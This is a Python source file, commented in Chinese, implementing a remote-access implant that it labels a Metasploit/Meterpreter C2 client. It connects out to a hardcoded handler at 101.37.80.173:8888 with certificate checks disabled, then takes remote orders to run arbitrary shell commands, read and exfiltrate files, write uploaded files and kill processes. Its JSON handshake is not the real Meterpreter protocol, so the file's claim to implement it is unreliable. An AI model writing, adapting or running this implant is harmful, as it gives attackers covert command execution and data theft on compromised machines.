#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Metasploit C2 Communication Protocol
Metasploit C2通信协议实现
"""

import socket
import ssl
import time
import json
import base64
import struct
import threading
import hashlib
from typing import Dict, Any, Optional, List
from dataclasses import dataclass
from urllib.parse import urlparse

@dataclass
class MeterpreterConfig:
    """Meterpreter配置信息"""
    server_host: str
    server_port: int
    transport: str = "tcp"  # tcp, http, https
    retry_total: int = 3600
    retry_wait: int = 10
    user_agent: str = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
    uri_path: str = "/api/v1/meterpreter"
    use_ssl: bool = False
    session_expiry: int = 604800  # 7天

class MetasploitC2:
    """Metasploit C2通信协议实现"""
    
    def __init__(self, config: MeterpreterConfig):
        self.config = config
        self.session_id = None
        self.is_connected = False
        self.socket = None
        self.command_handlers = {}
        self.session_key = None
        self.running = False
        self.comm_thread = None
        
        # 注册默认命令处理器
        self._register_default_handlers()
    
    def connect(self) -> bool:
        """连接到Metasploit处理器"""
        try:
            if self.config.transport == "tcp":
                return self._connect_tcp()
            elif self.config.transport in ["http", "https"]:
                return self._connect_http()
            else:
                print(f"不支持的传输协议: {self.config.transport}")
                return False
                
        except Exception as e:
            print(f"连接失败: {e}")
            return False
    
    def _connect_tcp(self) -> bool:
        """TCP连接"""
        try:
            # 创建socket
            if self.config.use_ssl:
                context = ssl.create_default_context()
                context.check_hostname = False
                context.verify_mode = ssl.CERT_NONE
                
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                self.socket = context.wrap_socket(sock)
            else:
                self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            
            self.socket.settimeout(30)
            self.socket.connect((self.config.server_host, self.config.server_port))
            
            # 执行握手
            if self._perform_handshake():
                self.is_connected = True
                self.running = True
                self._start_communication_loop()
                return True
                
        except Exception as e:
            print(f"TCP连接失败: {e}")
            
        return False
    
    def _connect_http(self) -> bool:
        """HTTP/HTTPS连接"""
        try:
            import urllib.request
            import urllib.parse
            
            # 构造连接URL
            protocol = "https" if self.config.use_ssl else "http"
            url = f"{protocol}://{self.config.server_host}:{self.config.server_port}{self.config.uri_path}"
            
            # 发送初始请求
            headers = {
                'User-Agent': self.config.user_agent,
                'Content-Type': 'application/octet-stream'
            }
            
            # 创建握手数据
            handshake_data = self._create_handshake_data()
            
            req = urllib.request.Request(url, data=handshake_data, headers=headers)
            
            with urllib.request.urlopen(req, timeout=30) as response:
                response_data = response.read()
                
                if self._process_handshake_response(response_data):
                    self.is_connected = True
                    self.running = True
                    self._start_http_communication_loop()
                    return True
                    
        except Exception as e:
            print(f"HTTP连接失败: {e}")
            
        return False
    
    def _perform_handshake(self) -> bool:
        """执行握手协议"""
        try:
            # 发送握手数据
            handshake_data = self._create_handshake_data()
            self._send_packet(handshake_data)
            
            # 接收握手响应
            response = self._receive_packet()
            if response:
                return self._process_handshake_response(response)
                
        except Exception as e:
            print(f"握手失败: {e}")
            
        return False
    
    def _create_handshake_data(self) -> bytes:
        """创建握手数据"""
        # 构造Meterpreter握手包
        handshake = {
            "type": "handshake",
            "version": "1.0",
            "platform": "python",
            "arch": "x64",
            "hostname": socket.gethostname(),
            "username": "user",
            "timestamp": int(time.time())
        }
        
        return json.dumps(handshake).encode('utf-8')
    
    def _process_handshake_response(self, response_data: bytes) -> bool:
        """处理握手响应"""
        try:
            response = json.loads(response_data.decode('utf-8'))
            
            if response.get('status') == 'success':
                self.session_id = response.get('session_id')
                self.session_key = response.get('session_key')
                return True
                
        except Exception as e:
            print(f"握手响应处理失败: {e}")
            
        return False
    
    def _start_communication_loop(self):
        """启动通信循环"""
        self.comm_thread = threading.Thread(target=self._communication_loop, daemon=True)
        self.comm_thread.start()
    
    def _start_http_communication_loop(self):
        """启动HTTP通信循环"""
        self.comm_thread = threading.Thread(target=self._http_communication_loop, daemon=True)
        self.comm_thread.start()
    
    def _communication_loop(self):
        """TCP通信主循环"""
        while self.running and self.is_connected:
            try:
                # 接收命令
                packet = self._receive_packet()
                if packet:
                    self._process_packet(packet)
                    
            except Exception as e:
                print(f"通信循环错误: {e}")
                break
    
    def _http_communication_loop(self):
        """HTTP通信主循环"""
        import urllib.request
        
        while self.running and self.is_connected:
            try:
                # 构造请求URL
                protocol = "https" if self.config.use_ssl else "http"
                url = f"{protocol}://{self.config.server_host}:{self.config.server_port}{self.config.uri_path}"
                
                # 发送心跳请求
                heartbeat_data = self._create_heartbeat_data()
                headers = {
                    'User-Agent': self.config.user_agent,
                    'Content-Type': 'application/octet-stream',
                    'Session-ID': self.session_id
                }
                
                req = urllib.request.Request(url, data=heartbeat_data, headers=headers)
                
                with urllib.request.urlopen(req, timeout=30) as response:
                    response_data = response.read()
                    if response_data:
                        self._process_packet(response_data)
                
                # 等待下次轮询
                time.sleep(self.config.retry_wait)
                
            except Exception as e:
                print(f"HTTP通信循环错误: {e}")
                time.sleep(self.config.retry_wait)
    
    def _create_heartbeat_data(self) -> bytes:
        """创建心跳数据"""
        heartbeat = {
            "type": "heartbeat",
            "session_id": self.session_id,
            "timestamp": int(time.time()),
            "status": "active"
        }
        
        return json.dumps(heartbeat).encode('utf-8')
    
    def _process_packet(self, packet_data: bytes):
        """处理接收到的数据包"""
        try:
            packet = json.loads(packet_data.decode('utf-8'))
            packet_type = packet.get('type')
            
            if packet_type == 'command':
                self._handle_command(packet)
            elif packet_type == 'file_transfer':
                self._handle_file_transfer(packet)
            elif packet_type == 'module_load':
                self._handle_module_load(packet)
            else:
                print(f"未知数据包类型: {packet_type}")
                
        except Exception as e:
            print(f"数据包处理失败: {e}")
    
    def _handle_command(self, packet: Dict[str, Any]):
        """处理命令"""
        try:
            command = packet.get('command')
            command_id = packet.get('command_id')
            
            # 查找命令处理器
            handler = self.command_handlers.get(command, self._default_command_handler)
            
            # 执行命令
            result = handler(packet)
            
            # 发送结果
            self._send_command_result(command_id, result)
            
        except Exception as e:
            error_result = {"status": "error", "message": str(e)}
            self._send_command_result(packet.get('command_id'), error_result)
    
    def _handle_file_transfer(self, packet: Dict[str, Any]):
        """处理文件传输"""
        try:
            operation = packet.get('operation')  # upload, download
            file_path = packet.get('file_path')
            
            if operation == 'download':
                result = self._download_file(file_path)
            elif operation == 'upload':
                file_data = packet.get('file_data')
                result = self._upload_file(file_path, file_data)
            else:
                result = {"status": "error", "message": f"未知文件操作: {operation}"}
            
            self._send_response(packet.get('request_id'), result)
            
        except Exception as e:
            error_result = {"status": "error", "message": str(e)}
            self._send_response(packet.get('request_id'), error_result)
    
    def _handle_module_load(self, packet: Dict[str, Any]):
        """处理模块加载"""
        try:
            module_name = packet.get('module_name')
            module_data = packet.get('module_data')
            
            # 这里可以实现动态模块加载
            result = {
                "status": "success",
                "message": f"模块 {module_name} 加载成功"
            }
            
            self._send_response(packet.get('request_id'), result)
            
        except Exception as e:
            error_result = {"status": "error", "message": str(e)}
            self._send_response(packet.get('request_id'), error_result)
    
    def _register_default_handlers(self):
        """注册默认命令处理器"""
        self.command_handlers.update({
            'shell': self._handle_shell_command,
            'sysinfo': self._handle_sysinfo,
            'getuid': self._handle_getuid,
            'pwd': self._handle_pwd,
            'ls': self._handle_ls,
            'cd': self._handle_cd,
            'cat': self._handle_cat,
            'ps': self._handle_ps,
            'kill': self._handle_kill
        })
    
    def _handle_shell_command(self, packet: Dict[str, Any]) -> Dict[str, Any]:
        """处理Shell命令"""
        import subprocess
        
        try:
            command = packet.get('args', '')
            
            result = subprocess.run(
                command,
                shell=True,
                capture_output=True,
                text=True,
                timeout=30
            )
            
            return {
                "status": "success",
                "stdout": result.stdout,
                "stderr": result.stderr,
                "returncode": result.returncode
            }
            
        except Exception as e:
            return {"status": "error", "message": str(e)}
    
    def _handle_sysinfo(self, packet: Dict[str, Any]) -> Dict[str, Any]:
        """处理系统信息命令"""
        import platform
        
        try:
            sysinfo = {
                "hostname": socket.gethostname(),
                "platform": platform.platform(),
                "architecture": platform.architecture(),
                "processor": platform.processor(),
                "python_version": platform.python_version()
            }
            
            return {"status": "success", "data": sysinfo}
            
        except Exception as e:
            return {"status": "error", "message": str(e)}
    
    def _handle_getuid(self, packet: Dict[str, Any]) -> Dict[str, Any]:
        """处理获取用户ID命令"""
        import os
        
        try:
            uid_info = {
                "uid": os.getuid() if hasattr(os, 'getuid') else 'N/A',
                "username": os.getenv('USER', os.getenv('USERNAME', 'unknown'))
            }
            
            return {"status": "success", "data": uid_info}
            
        except Exception as e:
            return {"status": "error", "message": str(e)}
    
    def _handle_pwd(self, packet: Dict[str, Any]) -> Dict[str, Any]:
        """处理获取当前目录命令"""
        import os
        
        try:
            current_dir = os.getcwd()
            return {"status": "success", "data": current_dir}
            
        except Exception as e:
            return {"status": "error", "message": str(e)}
    
    def _handle_ls(self, packet: Dict[str, Any]) -> Dict[str, Any]:
        """处理列出目录内容命令"""
        import os
        
        try:
            path = packet.get('args', '.')
            entries = []
            
            for entry in os.listdir(path):
                entry_path = os.path.join(path, entry)
                stat = os.stat(entry_path)
                
                entries.append({
                    "name": entry,
                    "type": "directory" if os.path.isdir(entry_path) else "file",
                    "size": stat.st_size,
                    "modified": stat.st_mtime
                })
            
            return {"status": "success", "data": entries}
            
        except Exception as e:
            return {"status": "error", "message": str(e)}
    
    def _handle_cd(self, packet: Dict[str, Any]) -> Dict[str, Any]:
        """处理切换目录命令"""
        import os
        
        try:
            path = packet.get('args', '.')
            os.chdir(path)
            new_dir = os.getcwd()
            
            return {"status": "success", "data": new_dir}
            
        except Exception as e:
            return {"status": "error", "message": str(e)}
    
    def _handle_cat(self, packet: Dict[str, Any]) -> Dict[str, Any]:
        """处理读取文件命令"""
        try:
            file_path = packet.get('args')
            
            with open(file_path, 'r', encoding='utf-8') as f:
                content = f.read()
            
            return {"status": "success", "data": content}
            
        except Exception as e:
            return {"status": "error", "message": str(e)}
    
    def _handle_ps(self, packet: Dict[str, Any]) -> Dict[str, Any]:
        """处理进程列表命令"""
        import psutil
        
        try:
            processes = []
            
            for proc in psutil.process_iter(['pid', 'name', 'username', 'cpu_percent']):
                try:
                    processes.append(proc.info)
                except (psutil.NoSuchProcess, psutil.AccessDenied):
                    pass
            
            return {"status": "success", "data": processes}
            
        except Exception as e:
            return {"status": "error", "message": str(e)}
    
    def _handle_kill(self, packet: Dict[str, Any]) -> Dict[str, Any]:
        """处理终止进程命令"""
        import psutil
        
        try:
            pid = int(packet.get('args'))
            proc = psutil.Process(pid)
            proc.terminate()
            
            return {"status": "success", "message": f"进程 {pid} 已终止"}
            
        except Exception as e:
            return {"status": "error", "message": str(e)}
    
    def _default_command_handler(self, packet: Dict[str, Any]) -> Dict[str, Any]:
        """默认命令处理器"""
        command = packet.get('command')
        return {"status": "error", "message": f"未知命令: {command}"}
    
    def _download_file(self, file_path: str) -> Dict[str, Any]:
        """下载文件"""
        try:
            with open(file_path, 'rb') as f:
                file_content = f.read()
            
            encoded_content = base64.b64encode(file_content).decode('utf-8')
            
            return {
                "status": "success",
                "content": encoded_content,
                "size": len(file_content)
            }
            
        except Exception as e:
            return {"status": "error", "message": str(e)}
    
    def _upload_file(self, file_path: str, file_data: str) -> Dict[str, Any]:
        """上传文件"""
        try:
            decoded_content = base64.b64decode(file_data)
            
            with open(file_path, 'wb') as f:
                f.write(decoded_content)
            
            return {
                "status": "success",
                "message": f"文件已上传到 {file_path}",
                "size": len(decoded_content)
            }
            
        except Exception as e:
            return {"status": "error", "message": str(e)}
    
    def _send_packet(self, data: bytes):
        """发送数据包"""
        try:
            if self.config.transport == "tcp":
                length = struct.pack('>I', len(data))
                self.socket.sendall(length + data)
            
        except Exception as e:
            print(f"数据包发送失败: {e}")
            self.is_connected = False
    
    def _receive_packet(self) -> Optional[bytes]:
        """接收数据包"""
        try:
            if self.config.transport == "tcp":
                # 接收长度
                length_data = self.socket.recv(4)
                if len(length_data) != 4:
                    return None
                
                length = struct.unpack('>I', length_data)[0]
                
                # 接收数据
                data = b''
                while len(data) < length:
                    chunk = self.socket.recv(length - len(data))
                    if not chunk:
                        return None
                    data += chunk
                
                return data
            
        except Exception as e:
            print(f"数据包接收失败: {e}")
            return None
    
    def _send_command_result(self, command_id: str, result: Dict[str, Any]):
        """发送命令结果"""
        try:
            response_data = {
                "type": "command_result",
                "session_id": self.session_id,
                "command_id": command_id,
                "result": result,
                "timestamp": int(time.time())
            }
            
            data = json.dumps(response_data).encode('utf-8')
            self._send_packet(data)
            
        except Exception as e:
            print(f"发送命令结果失败: {e}")
    
    def _send_response(self, request_id: str, response: Dict[str, Any]):
        """发送响应"""
        try:
            response_data = {
                "type": "response",
                "session_id": self.session_id,
                "request_id": request_id,
                "response": response,
                "timestamp": int(time.time())
            }
            
            data = json.dumps(response_data).encode('utf-8')
            self._send_packet(data)
            
        except Exception as e:
            print(f"发送响应失败: {e}")
    
    def disconnect(self):
        """断开连接"""
        self.running = False
        self.is_connected = False
        
        if self.comm_thread and self.comm_thread.is_alive():
            self.comm_thread.join(timeout=5)
        
        if self.socket:
            try:
                self.socket.close()
            except:
                pass
    
    def get_status(self) -> Dict[str, Any]:
        """获取连接状态"""
        return {
            "connected": self.is_connected,
            "session_id": self.session_id,
            "server": f"{self.config.server_host}:{self.config.server_port}",
            "transport": self.config.transport,
            "ssl_enabled": self.config.use_ssl
        }

# 使用示例
def example_usage():
    """使用示例"""
    # 配置Meterpreter
    config = MeterpreterConfig(
        server_host="101.37.80.173",
        server_port=8888,
        transport="tcp",
        use_ssl=False
    )
    
    # 创建C2客户端
    c2_client = MetasploitC2(config)
    
    try:
        # 连接到服务器
        if c2_client.connect():
            print("✅ 成功连接到Metasploit处理器")
            
            # 保持连接
            time.sleep(60)
            
        else:
            print("❌ 连接失败")
            
    finally:
        c2_client.disconnect()

if __name__ == "__main__":
    example_usage()